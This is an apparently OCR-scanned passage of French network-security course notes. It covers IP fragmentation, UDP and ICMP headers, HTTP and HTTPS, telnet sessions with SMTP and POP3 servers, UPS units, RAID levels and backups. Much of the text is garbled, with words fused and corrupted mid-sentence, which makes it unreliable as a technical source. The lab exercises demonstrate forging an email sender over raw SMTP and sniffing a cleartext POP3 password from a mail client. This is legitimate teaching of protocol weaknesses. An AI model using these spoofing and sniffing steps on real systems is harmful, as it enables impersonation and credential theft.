pas a son prochain médium. Mais la fragmentation peut-&se em ceuvre pour contourner un dispositif de
filtrage. Donc il faut savoir distinguer un paquet fragmerdénal,d’'un paquet fragmenté anormal.

Tous les fragments d’un paquet fragmentélennéme numéro d’identification( voir schéma en-téte
IP) que le paquet original.

Il existe trois types de fragments :

— Premier fragment : indique le protocole de transport,SBREET est nul, son drapeau MF est défini.

— Deuxiéme fragment : n’'indique pas de protocole, son OFFS#E ifférent de zéro, son drapeau MF
est défini.

— Dernier fragment : n’indique pas de protocole, son OFFS&Tiéférent de zéro,mais son MF n’est
pas défini.

REMARQUE
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1. Tous les paquets fragmentés d’un paquet original camierie méme numéro d’'identification contenu
dans I'en-téte IP du paquet original.

2. Un fragment est caractérisé par son OFFSET (la quantitfodeées du paquet original transmise
avant celui-ci) indique sa position dans le paquet origitdnt donné qu’aucune donnée n’est trans-
mise avant le premier paquet fragmenté d’'un paquet origioal OFFSET est nul.

3. Un fragment est défini par son drapeau MF qui indique siaggnfient sera suivi par un autre fragment
ou non. Ainsi pour le dernier fragment d’'un paquet origimatifapeau MF n’est pas défini. S'il est
défini, MF = 1. S'’il n’est pas defini MF = 0.

5.6 Protocole UDP

UDP est le protocole utilisé par les applications dont legport n'exige pas une certaine fiabilité.
Contrairement a TCP il fonctionne en mode non connecté céeqend plus vulnérable que le TCP,car il
n'a pas de numéro de séquence.

Numeéro de port source Numéro de port destination
(16 bits) (16 bits)

Longueur en-téte UDH Somme de contrble
(16 bits) (16 bits)

TAB. 5.5 — En-téte UDP

5.7 Protocole ICMP

ICMP est un protcole permettant de transmettre des infoomatle contrble et de gestion du réseau. IP
n'est pas dans sa définition stable, le but de ces messagestd@e est donc de pouvoir signaler I'apparition
d’'une erreur. Par contre, ICMP ne garantit pas que le datagessoit acheminé ni qu’un message de contrdle
soit retourné.

Il sert notamment a envoyer un ping ( echo request + echo jeplgis peut aussi servir a des ceuvres de
malveillance ( mappage, attaque SMURF (section 28.3.3 p&8§g).

Type Code | Somme de controle
(8 bits) | (8 bits) (16 bits)
Identification | Numéro de séquence
(16 bits) (16 bits)

TAB. 5.6 — En-téte ICMP

5.8 Travaux Pratiques

— Installer le logiciel Ethereal sur vos machines.

— Retrouver les différents types de trames indiqués précéumt.
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| Valeur | Nom | Description |

0 Réponse d’écho Rien de plus que la réponse a un PING

3 Destination inaccessible | Il permet d'étre informé que I'hdte avec lequel on désire samiquer
n'est pas accessible. Cette réponse peut souvent éviterapplication
de rester en attente d’'une réponse qui ne viendra pas.

4 Etranglement de la source| Principalement utilisés par les routeurs, ce signal petispliquer a
un hote qui parle un peu trop qu'il faut qu'il se taise, para8lénonde
la file d’attente.

5 Redirection nécessaire | Information utile pour la mise a jour des tables de routage.

8 Demande d'écho Question posée a un héte par la commande PING.

11 TTL Expiré Un paquet est toujours émis avec une durée de vie. Cette deirde est
décrémentée a chaque nceud qui traite le paquet (d’'une diumésum
d’'une seconde, ou du temps qu’a mis la paquet a traversenld)n&
le paquet arrive en fin de vie, il est jeté et un message ICPMpell
est envoyé a I'émetteur. Cette propriété est utilisée dacsmmandeg
"tracert" ("traceroute” sur Linux) pour calculer les tengfecces sur les
diverses passerelles du chemin parcouru.

12 Probleme de paramétre | Ce message indique qu'il y a une erreur dans le champ d'endig
paquet. Ce probleme ne peut normalement arriver que daas lé'en
bug du logiciel.

13 Requéte d’horodatage | Assez similaire a larequéte d’écho, avec en plus le marqimbjeeure.
Ce type d’écho permet de connaitre I'heure d’arrivée dedaéte et
I'heure de départ de la réponse sur I'hbte cible.

14 Réponse d’horodatage

17 Requéte de masque d'adress€es messages sont utilisés pour effectuer des tests au'seirédeau
ou d’un sous-réseau.

18 Réponse de masque d’adresse

30 Traceroute

TAB. 5.7 — Quelques messages ICMP



Chapitre 6

HTTP [10]

6.1 Le Protocole HTTP

HTTP : HyperText Tranfert Protocol (RFC 1945 et 2068)
* protocole de rapatriement des documents
protocole de soumission de formulaires

6.2 Principe de fonctionnement

* connexion

demande (GET) d’'un document

renvoi du document (status=200) ou d’'une erreur
déconnexion

HTTP est un protocole en mode de lignes de caracteres (ASGihme nous le verrons, un simple
telnet sur le port 80 permet de dialoguer avec un serveur Web.

6.3 Requéte au serveur

URI : Uniform Ressource ldentifier adresse des ressources SERNET

GET : demande des informations et une zone de données cantéuRl.
HEAD : demande pour obtenir des informations concernariRl’'Uniquement.

POST :envoi de données (contenu du formulaire vers le servguCes données sont situées apres I'entéte
et un saut de ligne.

PUT : enregistrement du corps de la requéte a I'URI indiqué
DELETE : suppression des données désignées par 'URI
OPTIONS : demande des options de communication disponibles
TRACE : retourne le corps de la requéte intacte (déboguage)

6.4 Réponse du serveur

24
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<Méthode><URI>HTTP/<Version>
[<Champs d’entéte> :<Valeur>]

[<tab>Suite Valeur si > 1024>]

ligne blanche

[corps de la requéte pour la méthode POST]

25

GET /document.html HTTP/1.0
Accept : www/source

Accept : text/html

Accept : image/qgif

User-Agent : Lynx/2.2 libwww/2.14
From : groucho@marx.net

une ligne blanche *

POST /script HTTP/1.0

Accept : www/source

Accept : text/html

Accept : image/qgif

User-Agent : Lynx/2.2 libwww/2.14
From : groucho@marx.net
Content-Length : 24

* une ligne blanche *
namel=valuel&

name2=value2

TAB. 6.1 — Requéte au serveur

HTTP/<Version><Status><Commentaire Staty
Content-Type : <Type MIME du contenu>
<Champ d’entéte> : <Valeur>

<Champ d’entéte> : <Valeur>

<Champ d’entéte> : <Valeur>

<Champ d’entéte> : <Valeur>

<Champ d’entéte> : <Valeur>

<Champ d’entéte> : <Valeur>

une ligne blanche

Document

Document

sHTTP/1.1 200 OK
Date : Tue, 26 Nov 2002 10 :13 :43 GMT
Server : Apache/1.3.26 (Unix) Debian GNU/Lind
Last-Modified : Fri, 22 Nov 2002 10 :48 :54 GMT
ETag : "57¢c5d-f5-3dde0b96"
Accept-Ranges : bytes
Content-Length : 245
Connection : close

<html>
</html>

TAB. 6.2 — Réponse du serveur
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6.4.1 Statut (status in english) de la requéte
100-199 Informationnel

— 100 : Continue (le client peut envoyer la suite de la requéte
200-299 Succes de la requéte client

— 200: 0K
— 201 : Created
— 204 : No Content, ...

300-399 Redirection de la Requéte client

— 301 : Redirection
— 302 : Found

— 304 : Not Modified
— 305 : Use Proxy, ...

400-499 Requéte client incompléte

400 : Bad Request
401 : Unauthorized
403 : Forbidden
404 : Not Found

500-599 Erreur Serveur

— 500 : Server Error

— 501 : Not Implemented

— 502 : Bad Gateway

— 503 : Out Of Resources (Service Unavailable)

6.5 HTTPS

S comme secure ...
Le but de https est de sécuriser les acces a un service webafiprdserver la confidentialité.

6.5.1 Principe

Les accés a des pages web se font a I'aide du protocole htgmpruntant le réseau Internet. Aucune
garantie de confidentialité n’est assurée lors de ces ait@ss relativement simple a un pirate d’intercepter
vos requétes et les réponses faites par le serveur. Eneatien’avez pas une certitude absolue de consulter
le site que vous croyez.

Internet est maintenant utilisé pour des applications aencerce électronique, ou parfois pour accéder
a des données confidentielles soumises a authentificatibar{ge de login - mot de passe).

Il faut savoir que, dans ce cas, il n’est pas tres difficile gpnate d’intercepter ces informations confi-
dentielles, y compris votre mot de passe, et ainsi d'uswgiee identité, voire récupérer votre code de carte
bleue.

Afin de palier a ces inconvénients, le protocole https paetréts en oeuvre. D’'une maniere trés sché-
matique, il permet d’encapsuler et de crypter le trafic h#ipsi, il sera quasiment impossible a un pirate
qui intercepterait des acces a des pages chargées viade@mhttps de décrypter cet échange, et donc de
récupérer des informations confidentielles.

En outre, https permet de s’assurer que le serveur W3 auguelagde est bien celui que I'on croit.
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Les échanges https sont cryptés et décryptés a l'aide diypiede 'clés informatiques’ qui sont propres
aun serveur W3 :

— La clé privée qui n’est connue que de ce serveur

— La clé publique qui est connue du monde entier

Le navigateur qui accéde a un serveur a I'aide du protocoleddiBrécupérer la clé publique de ce
serveur; celle-ci lui est transmise depuis le serveur W8apsulée dans un certificat X509 (fichier informa-
tique).

Ce certificat contient donc la clé publique du serveur, ¥éai§'signée") par un organisme reconnu,
appelé autorité de certification (CA).

6.5.2 Fonctionnement

— Phase 1

Authentification du serveur et/ou du client par PKI
— Phase 2

Chiffrage avec une clé (secréte) symétrique de session
— Phase 2bis

Reprise aprés déconnexion

Le port utilisé pour ce type de connexion est le 443.

6.6 Travaux Pratiques
6.6.1 Protocole HTTP

Connecter vous en telnet sur le port 80 (sous Putty, utilssenoderaw de la machine indiquée par
l'instructeur.

telnet lampion 80
GET /index.html HTTP/1.0
<Retour Chariot>

6.6.2 HTTPS

— Connectez vous a la version non sécurisée de la page Welf hitgecure.html
— Connectez vous a la version sécurisée de la page Web httpseéure.html
Utilisez votre sniffer, comparez ...

1public Key Infrastructure. Ensemble de techniques, osgdioins, procédures et pratiques qui définissent Iimpléation et
I'exploitation de certificat numériques basés sur la crg@phie a clés publiques (Yannick Quenec’hdu - www.idealx)



CHAPITRE 6. HTTPP]

Trying 127.0.0.1...
Connected to lampion.
Escape character is .
GET /index.html HTTP/1.0

HTTP/1.1 200 OK

Date: Tue, 26 Nov 2002 10:13:43 GMT
Server: Apache/1.3.26 (Unix) Debian GNU/Linux
Last-Modified: Fri, 22 Nov 2002 10:48:54 GMT
ETag: "57c5d-f5-3dde0b96"

Accept-Ranges: bytes

Content-Length: 245

Connection: close

Content-Type: text/html; charset=is0-8859-1

<html|>
<head>
<title>Sécurité des réseaux</title>
</head>
<body>
<h1>Sécurité des réseaux</hl>
<a href="mozilla.html">Mozilla</a><BR>
<a href="ie5.html">Internet Explorer</a><BR>
<a href="cgi.htm|">CGl</a><BR>
</body>
</html>

Connection closed by foreign host.

TAB. 6.3 — Exemple de session HTTP avec telnet
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Mail

Nous allons voir que I'envoi et la réception de mail n’est pésurisée du fait méme du protocole utilisé.
Pour cela, nous allons utiliser une machine Linux qui paadgbeut envoyer / recevoir des messages entre
utilisateurs.

7.1 SMTP : Envoi de mails

Nous allons implémenter le protocole SMTP de maniére #itéden utilisant une connexion telnet sur le
serveur SMTP (port 25).

telnet localhost 25

220 lampion ESMTP Postfix (Debian/GNU)
mail from: zorro@localhost

250 Ok

rcpt to: eric@localhost

250 Ok

data

Bonjour Eric,

je signe d'un Z qui veut dire Zorro

Z

quit

\oila le courrier a été envoyé de eric vers fred sur la machioale (localhost). Bien sir ceci peut se faire
d’'une machine sur une autre et sur les machines du Net. Ragalelcourrier de Fred maintenant.

login: eric
passwd: ****
Vous avez regu un message ...

A aucun moment un mot de passe n’a été demandé, il est doriblpatenvoyer des messages venant
de n'importe qui vers n'importe qui, ce que I'on appelle usanmpation d’adresse mail. Ceci est vrai sur les
serveurs SMTP non sécurisés, sur les autres serveurgdsde I'expéditeur est contr6lé, vous ne pouvez
donc pas indiqué n'importe quel expéditeur. Cette "faitst I'une des explications de 'origine du spam.
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7.2 POP3: Lecture des mails

Le rapatriement des mails se fait par I'intermédiaire dugmole POP3, nous allons voir que ce protocole
laisse passer les mots de passe en clair ...
Envoyer un mail avec un client mail :

mail fred

Se connecter a I'aide de telnet sur le serveur POP3 (port 110)

telnet localhost 110

Connected to lampion

Escape character is "’

+OK QPopper

USER fred

+OK Password required for user fred

PASS ...

+OK fred has 1 visible message (0 hidden) in 365 octets
LIST

1 365

RETR 1

...[.. mon message

DELE 1

+OK Message 1 has been deleted.
QUIT

+OK Pop server at lampion signing off.

7.3 Travaux pratiques

Sous Putty, il est nécessaire d'utiliser le mode .

— En utilisant les comptes stagel a stage6, aidez vous desrsedécrites précédemment pour envoyer
un message et le lire.

— Nous allons maintenant montrer que le protocole utilisgdeeméme pour un client mail Windows,
configurez Outlook Express pour qu'il charge (POP3) les agess sur 'un des comptes stageX.

— Unefois le protocole de test mis au point, refaire la mémeipugation en sniffant les trames sortantes
du logiciel Outlook Express. Repérez le mot de passe.



Chapitre 8

Conclusion

Les connaissances de bases sur les réseaux acquises, dstiqussible maintenant de voir comment
stopper les sniffer. Par la suite nous découvrirons qud Eawlyse poussée des protocoles réseaux qui
permet d’attaquer et de protéger un serveur.
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Chapitre 9

Onduleur[6]

9.1 En bref

— La puissance de 'onduleur : exprimée en VA (ou KVA) elle dionnera la capacité de I'onduleur
a alimenter votre équipement en cas de coupure secteurrd&mént on conseille d'appliquer un
facteur 1,4 4 1,5 : pour un PC consommant au total 300W réél®prun onduleur de 420W ou plus
estidéal.

— Le type : pour un particulier un classique modéle "off-linera généralement approprié. Si vous avez
trés frequemment et longuement des perturbations élaesidu type baisses de tension un modéle
"line-interactive" sera un plus. Enfin, si vous souhaiteairaune sécurité électrique maximale vous
opterez pour un modeéle "on-line".

— La marque : parmiles plus connues citons APC, MGE (MerlintGeUPS), Best Power et Liebert.

9.2 Dans le détail

Le rdle premier d’'un onduleur est de protéger votre ordimades variations et interruptions de tension.
En effet, suivant votre lieu de résidence, les coupures forortoupures) d’électricité, les baisses de tension
ou les surtensions sont plus ou moins fréquentes.

Ces défauts de tension entrainent I'arrét ou le redémas@gaain de votre machine et de ses périphé-
riques. Ceci a pour conséquence de vous faire perdre leaitta@n cours non sauvegardés et peut parfois
a terme endommager votre matériel informatique. Que vobgiéza une région un peu reculée ou la ten-
sion secteur fournie n’est pas toujours exempte de déféaut gue vous vouliez protéger votre matériel
informatique ainsi que vos données c’'est a dire étre sur deasettre interrompu pendant votre travalil,
l'investissement reste plutdt raisonnable, méme pour uiicpdier, surtout si on le relativise a I'achat d’un
ordinateur complet.

La plupart des onduleurs actuels incluent des systémesotiecion contre la foudre et les surtensions
liées : il faut savoir que méme si ces systemes ne sont pdanaat inefficaces, ils ne protégent pas rigou-
reusement et & 100% votre matériel de ce phénoméne, centixit & ce que I'appellation semble indiquer.
En effet, la foudre reste un phénomene difficilement quailiéi et mal maitrisé. D’autre part, n'oubliez pas
que si vous étes sur Internet, la foudre peut frapper lesdigéléphoniques et la surtension liée détruira au
moins votre modem si pas en plus d’autres composants damsRGt: tout ceci pour dire qu’autant éviter
de se servir de son PC par temps trés orageux, onduleur ou pas.
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9.3 Technologies "Off-line", "Line-interactive" et "On-| ine"

Pour expliquer ces différentes technologies, il est né&desde décrire les grandes lignes de fonctionne-
ment d’'un onduleur. Ce type d’'appareil est composé de traisdgs parties internes :

— Un transformateur alternatif/continu suivi d’'un chamngée batterie qui permet de maintenir la charge

d’'un accumulateur.

— La batterie ('accumulateur) elle méme.

— Un onduleur qui permet de transformer la tension contiagied de la batterie en tension alternative

compatible avec votre ordinateur.

Dans un modeéle "On-line", la tension fournie a votre orddnaket éventuellement a ses périphériques
provient uniquement de la transformation de la tensionicaat(issue de la batterie) en tension alternative.
En fonctionnement normal, la batterie est rechargée engrence tout en étant sollicitée. En cas de cou-
pure, bien chargée, elle rend I'onduleur capable de fonogoquelque temps sans autre apport d'énergie.

Un onduleur "Off-line" a ceci de différent qu’afin d’éconaar sur les codts de fabrication, il délivre
la tension secteur (filtrée tout de méme) directement aihatdur tant que cette tension est correcte en
terme de niveau. Dés que la tension passe en dessous d'amcerdil, I'onduleur va alors commuter sur la
batterie interne.

Du fait que I'onduleur "Off-line", au contraire de I'ondule"On-line", ne délivre pas une tension conti-
nuellement en provenance des batteries il peut se produpealbléme au moment de la commutation d’'une
source d'énergie a une autre (passage du secteur a la dakbec). Cependant, les alimentations des or-
dinateurs actuels sont de type a découpage et integrenbdecgndensateurs capables de faire face a de
trés bréves coupures (aussi appelées micro-coupures)thuset ces systemes peuvent donc dépendre
d’onduleurs de type "Off-line" car ils sont capables de cenger le bref temps de commutation (quelques
millisecondes) entre la coupure secteur et le transferbatierie de I'onduleur.

Enfin, les modéles "Line-interactive" (encore appeléditin*) ont un fonctionnement similaire a celui
d’'un onduleur off-line a ceci prés qu’en cas de variationathston (généralement dans la limite de +/- 25%),
au lieu de basculer sur la batterie il sont capable de corepénbaisse de tension. Ce type d’onduleur peut
étre trés intéressant dans bien des pays en voie de déveleppeays ou la qualité du secteur laisse trés
souvent & désirer!

9.4 Détermination de la puissance de I'onduleur

Pour protéger et alimenter un ordinateur raisonnable ame@&sran LCD mais *sans* ses autres péri-
phérigues, méme un petit onduleur (350VA) pourra suffirgpecelant 'autonomie sans le secteur sera alors
réduite et d’environ 5 a 10 minutes.

Méme si ceci se réveélera généralement tout a fait suffisamtgauvegarder vos travaux et éteindre votre
ordinateur, vu la faible différence de prix, il me semblesphage d’opter directement pour un modeéle a
500VA qui vous donnera plus d’autonomie pour un poste infdigue et vous permettra de brancher un
écran plus grand.

Voici quelques ordres de grandeur de puissances a préwirggoonduleur (en VA) afin de brancher
différents périphériques :
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Elément Puissances approximatives a prévoir
(pour un fonctionnement en autonomie)
PC classique sans écran (UC 150-300 VA

EcranLCD 17" 40 VA
EcranLCD 19" 60 VA

Ecran 17" 180 VA

Ecran 19" 250 VA

Ecran 21" 300 VA
Imprimante jet d’encre classique 80 VA

Imprimante laser 1000 VA

9.5 FAQ

Cette FAQ est constituée a partir de vos questions les phgsiéntes, telles que relevées sur le forum.
Avant de poser votre question sur le forum, merci de vérifiéelte ne figure pas dans cette FAQ.

9.5.1 A quoi correspondent et servent les para-surtenseufs

Parfois aussi appelés couramment "parafoudres”, cesedgrsont moins chers que les onduleurs et
protégeront votre matériel des surtensions comme l'ireligur nom sans pour autant assurer le relais en
cas de coupure d'alimentation secteur (votre ordinatettesidra ou redémarrera alors et les données en
cours non sauvegardées seront perdues). Néanmoins,senpeét I'avantage de permettre de protéger tout
votre équipement (périphériques compris) du phénoménéute dangereux pour leur durée de vie : les
surtensions.

9.5.2 Un onduleur est-il utile pour un portable ?

Vu le fonctionnement d'un portable, un onduleur n'est paseséaire pour se protéger des coupures
de courant. Il reste utile pour protéger le transformateteree du portable des surtensions mais un para-
surtenseur pourra assurer cette fonction a moindre co(t.

9.5.3 VA et Watts?

Pourquoi les constructeurs donnent la puissance maxiredéauds produits en KVA (Kilo Volt Ampere)
et pas en KWatts ? Quelle différence entre VA et Watts ?

La puissance en watts (P) est donnée par la formule P = VI)ade(s laquelle j représente I'angle de
déphasage entre la tension et I'intensité.

Ce cosinus(j) (encore appelé facteur de puissance) étgatits inférieur a 1, la puissance réelle délivrée
sera donc toujours inférieure a la valeur calculée en niiatipsimplement la tension par l'intensité. Cet
angle de déphasage est difficile a mesurer et varie méme etidiores équipements connectés d'ou le
fait que les constructeurs utilisent plutdt les VA. En pyag ceci explique pourquoi il est généralement
nécessaire de diviser par 1,4 & 1,5 la valeur en KVA pour dabtemaleur en KWatts utilisables.
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Présentation de la technologie RAID[17]

La technologie RAID (acronyme de Redundant Array of InexgenDisks, parfois Redundant Array
of Independent Disks, traduisez Ensemble redondant dei@isipdépendants) permet de constituer une
unité de stockage a partir de plusieurs disques durs. Buiitsi créée (appelée grappe) a donc une grande
tolérance aux pannes (haute disponibilité), ou bien unegrande capacité/vitesse d’écriture. La répartition
des données sur plusieurs disques durs permet donc d’ereatgma sécurité et de fiabiliser les services
associés.

Cette technologie a été mise au point en 1987 par trois chersliPatterson, Gibson et Katz) a I'Univer-
sité de Californie (Berkeley). Depuis 1992 c’est le RAID Astwy Board qui gére ces spécifications. Elle
consiste a constituer un disque de grosse capacité (dotes)@ I'aide de plus petits disques peu onéreux
(c’est-a-dire dont le MTBF, Mean Time Between Failure, #stemps moyen entre deux pannes, est faible).

Les disques assemblés selon la technologie RAID peuventiélisés de différentes facons, appelées
Niveaux RAID. L'Université de Californie en a défini 5, auwajsi ont été ajoutés les niveaux 0 et 6. Chacun
d’entre-eux décrit la maniere de laquelle les données gpiatrties sur les disques :

Niveau O : appelé stripping

Niveau 1 : appelé mirroring,shadowing ou duplexing

Niveau 2 : appelé striping with parity (obsoléete)

Niveau 3 : appelé disk array with bit-interleaved data

Niveau 4 : appelé disk array with block-interleaved data

Niveau 5 : appelé disk array with block-interleaved distributed fyari
Niveau 6 : appelé disk array with block-interleaved distributed fyari

Chacun de ces niveaux constitue un mode d'utilisation dedppe, en fonction :
— des performances
— du codt
— des acces disques

10.1 Niveau O

Le niveau RAID-0, appelé striping (traduisez entrelacemoeraggrégat par bande, parfois injustement
appelé stripping) consiste a stocker les données en legisSpat sur I'ensemble des disques de la grappe.
De cette facon, il n'y a pas de redondance, on ne peut doncgukes de tolérance aux pannes. En effet en
cas de défaillance de I'un des disques, l'intégralité demdes réparties sur les disques sera perdue.

Toutefois, étant donné que chaque disque de la grappe agomegontroleur, cela constitue une solution
offrant une vitesse de transfert élevée.
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Le RAID 0 consiste ainsi en la juxtaposition logique (agtégg de plusieurs disques durs physiques.
En mode RAID-0 les données sont écrites par "bandes" (emiargitipes) :

| Disque 1|| Disque 2|| Disque 3|
Bande 1|| Bande 2|| Bande 3
Bande 4 || Bande 5|| Bande 6
Bande 7 || Bande 8| Bande 9

TaB. 10.1-RAID O

On parle de facteur d’entrelacement pour caractériseiilla talative des fragments (bandes) stockés

sur chaque unité physique. Le débit de transfert moyen dbgere facteur (plus petite est chaque bande,
meilleur est le débit).

Si un des élements de la grappe est plus grand que les aetsystéme de remplissage par bande se

trouvera bloqué lorsque le plus petit des disques sera relnaplaille finale est ainsi égale au double de la
capacité du plus petit des deux disques :

— deux disques de 20 Go donneront un disque logique de 40 Go.
— un disque de 10 Go utilisé conjointement avec un disque dé@permettra d’obtenir un disque
logique de 20 Go (17 Go du second disque seront alors irad)lis
Il est recommandé d'utiliser des disques de méme taille faote du RAID-0 car dans le cas contraire le
disque de plus grande capacité ne sera pas pleinementtéxploi

10.2 Niveau l

Le niveau 1 a pour but de dupliquer I'information a stocker glusieurs disques, on parle donc de
mirroring, ou shadowing pour désigner ce procédé.

| Disque 1| Disque 2||
Bande 1|| Bande 1
Bande 2 || Bande 2
Bande 3 || Bande 3

TaB. 10.2-RAID 1

On obtient ainsi une plus grande sécurité des données |tar des disques tombe en panne, les données
sont sauvegardées sur l'autre. D’autre part, la lecturegieribeaucoup plus rapide lorsque les deux disques
sont en fonctionnement. Enfin, étant donné que chaque dszgsede son propre contrdleur, le serveur peut
continuer a fonctionner méme lorsque I'un des disques tanlgEanne, au méme titre qu’un camion pourra
continuer a rouler si un de ses pneus créve, car il en a plssseu chague essieu...

En contrepartie la technologie RAID1 est trés onéreuse dtamé que seule la moitié de la capacité de
stockage n’est effectivement utilisée.

10.3 Niveau 2

Le niveau RAID-2 est désormais obsoléte, car il propose umréle d’erreur par code de Hamming

(codes ECC - Error Correction Code), or ce dernier est démisrdirectement intégré dans les contréleurs
de disques durs.
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Cette technologie consiste a stocker les données selonrfeméncipe qu’avec le RAID-0 mais en
écrivant sur une unité distincte les bits de contréle EC@égidlement 3 disques ECC sont utilisés pour 4
disques de données)

La technologie RAID 2 offre de piétres performances maisiveau de sécurité élevé.

10.4 Niveau 3

Le niveau 3 propose de stocker les données sous forme daetethaque disque et de dédier un des
disques au stockage d’un bit de parité.

| Disque 1| Disque 2|| Disque 3|| Disque4
Octet 1 Octet 2 Octet 3 || Parité 1+2+3
Octet 4 Octet 5 Octet 6 || Parité 4+5+6
Octet 7 Octet 8 Octet 9 || Parité 7+8+9

TaB. 10.3-RAID 3

De cette maniere, si I'un des disques venait a défaillieibg possible de reconstituer I'information a
partir des autres disques. Aprées "reconstitution” le amntiu disque défaillant est de nouveau intégre. Par
contre, si deux disques venaient & tomber en panne simoitntgil serait alors impossible de remédier a
la perte de données.

10.5 Niveau 4

Le niveau 4 est trés proche du niveau 3. La différence se ¢rauwniveau de la parité, qui est faite sur
un secteur (appelé bloc) et non au niveau du bit, et qui eské&tosur un disque dédié. C'est-a-dire plus
précisément que la valeur du facteur d’entrelacement #étalite par rapport au RAID 3.

| Disque 1| Disque 2|| Disque 3| Disque4
Bloc 1 Bloc 2 Bloc 3 Parité 1+2+3
Bloc 4 Bloc 5 Bloc 6 Parité 4+5+6
Bloc 7 Bloc 8 Bloc 9 Parité 7+8+9

TaB. 10.4 - RAID 4

Ainsi, pour lire un nombre de blocs réduits, le systeme n'agaccéder a de multiples lecteurs phy-
siques, mais uniquement a ceux sur lesquels les donnéesffertivement stockées. En contrepartie le
disque hébergeant les données de contrdle doit avoir urstefapcés égal a la somme des temps d’acces
des autres disques pour ne pas limiter les performancesmseimble.

10.6 Niveau 5

Le niveau 5 est similaire au niveau 4, c'est-a-dire que lédast calculée au niveau d’'un secteur, mais
répartie sur I'ensemble des disques de la grappe.

De cette fagcon, RAID 5 améliore grandement I'accés aux desi(gussi bien en lecture qu’en écriture)
car I'accés aux bits de parités est réparti sur les différdisques de la grappe.
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| Disquel | Disque2 || Disque 3| Disque4
Bloc 1 Bloc 2 Bloc 3 Parité 1+2+3
Bloc 4 Parité 4+5+6|| Bloc 5 Bloc 6
Parité 7+8+9 Bloc 7 Bloc 8 Bloc 9

TAaB. 10.5-RAID 5

Le mode RAID-5 permet d’obtenir des performances trés mede celles obtenues en RAID-0, tout en
assurant une tolérance aux pannes élevées, c’est la raisotaguelle c’est un des modes RAID les plus
intéressant en terme de performance et de fiabilité.

L'espace disque utile sur une grappe de n disques étant éghidisques, il est intéressant d’avoir un grand
nombre de disques pour "rentabiliser” le RAID-5.

10.7 Niveau 6

Le niveau 6 a été ajouté aux niveaux définis par Berkeleyfihid€utilisation de 2 fonctions de parité,
et donc leur stockage sur deux disques dédiés. Ce niveaepaimsi d'assurer la redondance en cas d’avarie
simultanée de deux disques. Cela signifie qu’il faut au mdidgsques pour mettre en oeuvre un systéme
RAID-6.

10.8 Comparaison

Les solutions RAID généralement retenues sont le RAID deauvl et le RAID de niveau 5.

Le choix d’une solution RAID est lié a trois criteres :

— la sécurité : RAID 1 et 5 offrent tous les deux un niveau deustélevé, toutefois la méthode
de reconstruction des disques varie entre les deux sodutiém cas de panne du systeme, RAID 5
reconstruit le disque manquant a partir des informatioosk&tes sur les autres disques, tandis que
RAID 1 opére une copie disque a disque.

— Les performances : RAID 1 offre de meilleures performargpes RAID 5 en lecture, mais souffre
lors d'importantes opérations d’écriture

— Le colt: le colt est directement lié a la capacité de stacklagant étre mise en oeuvre pour avoir
une certaine capacité effective. La solution RAID 5 offrevafume utile représentant 80 & 90% du
volume alloué (le reste servant évidemment au contrélealie). La solution RAID 1 n'offre par
contre qu’un volume disponible représentant 50 % du volwta {(étant donné que les informations
sont dupliquées).

10.9 Mise en place d’une solution RAID

Il existe plusieurs facons différentes de mettre en plaeesotution RAID sur un serveur :
— de fagon logicielle : il s’agit généralement d’un driverraueau du systéeme d’exploitation capable de
créer un seul volume logique avec plusieurs disques (SCHB)
— de fagon matérielle
— avec des matériels DASD (Direct Access Stockage Devits)agit d’unités de stockage externes
pourvues d'une alimentation propre. De plus ces matérais dotés de connecteurs permettant
I'échange de disques a chaud (on dit généralement que celéydisque est hot swappable). Ce
matériel gére lui-méme ses disques, si bien gu'il est rec@omme un disque SCSI standard
— avec des contréleurs de disques RAID : il s'agit de cartesfighant dans des slots PCI ou ISA et
permettant de contréler plusieurs disques durs.
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Sauvegarde des donnees|3]

11.1 A quoi servent les sauvegardes ?

Un systeme d’information méme fiable et récent n'est jamdiakai d’'une défaillance matérielle ou
logicielle, d’'une erreur humaine, d’un acte de malveillrtune infection virale, d’'une panne de courant,
d’un vol, d'un sinistre (incendie, dégat des eaux, foudre, etc. Le destin du systéme est de tomber en
panne. Ce n'est qu'une question de temps. Le probléme desfauration des données se pose toujours
aprés réparation du systéme. Ceci montre I'importanceajtiétte accordée a la sauvegarde des données.

Afin de limiter les risques, tout doit étre mis en ceuvre politeéVa perte des données et garantir leur
disponibilité et leur intégrité, en établissant une prarédystématique de sauvegarde. |l est primordial de
ne pas sous-estimer I'importance des données des utilisatede garder a I'esprit les conséquences liées
a leur disparition. Les régles élémentaires de sécuriténmdtique imposent I'élaboration d’'une stratégie
de sauvegarde. Celle-ci nécessite une planification aflaria sélection du matériel de sauvegarde a la
détermination du schéma de sauvegarde.

11.2 Choix du matériel

— La sauvegarde consiste a enregistrer les données vitales Support généralement autre que le(s)
disque(s) se trouvant a I'intérieur de I'ordinateur. Ekefait principalement sur des unités amovibles
telles que disquette ZIP, support CDROM, bande DAT ou ctesEHIT.

— la disquette ZIP dont la capacité est de 100 a 250Mo, conptmur les petites sauvegardes de petits
fichiers et surtout pour le transfert de fichiers,

— le CDROM a une capacité de 650 a 800Mo. Son usage est le méeelpidu ZIP. La qualité de la
sauvegarde est supérieure et le risque de démagnétisatosia pas,

— la bande DAT a une capacité de stockage plus grande et persstvegarde compléte d’'un systeme
informatique. Elle est destinée a un usage professionealébit moyen d’un systéme DAT est relati-
vement faible, et se traduit par des sauvegardes qui peduestt plusieurs heures. La sauvegarde se
fait généralement la nuit,

— le systeme DLT est la technologie de sauvegarde la pludeagn plus les cassettes sont plus résis-
tantes que les bandes DAT. Ce systéme est plus cher, maisrfesmnces sont meilleures.

11.3 Choix du logiciel

Pour réaliser les sauvegardes il est conseillé d'utilissrgtogrammes congus pour faciliter cette opéra-
tion. Ces programmes permettent de gérer : la fréquenceudegarde, I'heure d’exécution, les données a
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sauvegarder, etc.

On trouve de nombreux logiciels plus ou moins congus poluisg¥aes taches. Les plus connus sont :
— Backup Exec de Verita®{tp://www.veritas.com ),
— ARC ServelT de Computer Associatéstp://www3.ca.com ).

11.4 Stratégie de sauvegarde

Lintervalle maximal qui s’écoule entre deux sauvegardessssives dépend de plusieurs facteurs :
— la vitesse d’'évolution du travail,

— la quantité d’'information que I'on accepte de perdre etiénex copies

Selon le service, ¢a peut étre le mois, la semaine ou la jeurné

11.4.1 Exemple de stratégie

Dans le cas de données sensibles, les sauvegardes senalg@ent planifiées de la maniére suivante :

— une sauvegarde totale par jour (du lundi au jeudi), cogsehsemaine,

— une sauvegarde totale le vendredi, conservée 2 semaines,

— une sauvegarde totale a la fin du mois, conservée 1 an,

— une sauvegarde totale annuelle & mettre a I'abri pounargéi

